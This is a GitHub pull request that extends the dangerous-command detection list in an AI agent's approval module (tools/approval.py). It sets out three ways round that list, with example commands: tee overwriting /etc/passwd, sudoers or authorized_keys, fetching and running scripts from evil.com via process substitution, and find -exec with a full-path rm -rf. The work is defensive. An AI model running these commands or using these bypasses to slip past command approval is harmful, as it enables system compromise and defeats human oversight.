Skip to content

fix: add missing dangerous command patterns (tee, process substitution, full-path rm)#280

Merged
teknium1 merged 1 commit intoNousResearch:mainfrom
dogiladeveloper:patch-1
Mar 5, 2026
Merged

fix: add missing dangerous command patterns (tee, process substitution, full-path rm)#280
teknium1 merged 1 commit intoNousResearch:mainfrom
dogiladeveloper:patch-1

Conversation

@dogiladeveloper
Copy link
Copy Markdown
Contributor

Problem

Three attack vectors bypassed DANGEROUS_PATTERNS in tools/approval.py:

1. tee writes to sensitive system files

tee can overwrite any file just like >, but was completely absent from the detection list.

echo "evil" | tee /etc/passwd       # not detected
curl evil.com | tee /etc/sudoers    # not detected
cat file | tee ~/.ssh/authorized_keys  # not detected

2. curl/wget via process substitution

The existing pattern only matched pipe syntax (curl ... | bash). Process substitution achieves the same result and was not caught.

bash <(curl http://evil.com/install.sh)    # not detected
sh <(wget -qO- http://evil.com/script.sh)  # not detected

3. find -exec with full-path rm

Pattern only matched bare rm. Using /bin/rm or /usr/bin/rm bypassed it.

find . -exec /bin/rm {} \;         # not detected
find . -exec /usr/bin/rm -rf {} +  # not detected

Fix

Added 2 new patterns and updated 1 existing pattern in DANGEROUS_PATTERNS. No other changes.

Testing

All existing patterns still match correctly. New patterns verified against both dangerous commands (true positives) and safe commands like tee /tmp/output.txt (no false positives).

Three attack vectors bypassed the dangerous command detection system:

1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd

2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)

3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
@teknium1 teknium1 merged commit 2465674 into NousResearch:main Mar 5, 2026
teknium1 added a commit that referenced this pull request Mar 5, 2026
…tterns

Tests for the three new dangerous command patterns added in PR #280:
- TestProcessSubstitutionPattern: 7 tests (bash/sh/zsh/ksh + safe commands)
- TestTeePattern: 7 tests (sensitive paths + safe destinations)
- TestFindExecFullPathRm: 4 tests (/bin/rm, /usr/bin/rm, bare rm, safe find)
@teknium1
Copy link
Copy Markdown
Contributor

teknium1 commented Mar 5, 2026

Merged in commit b4b426c (merge) + added 18 tests for the new patterns in commit b4b426c. All 1684 tests passing. Thanks for closing these security gaps!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

2 participants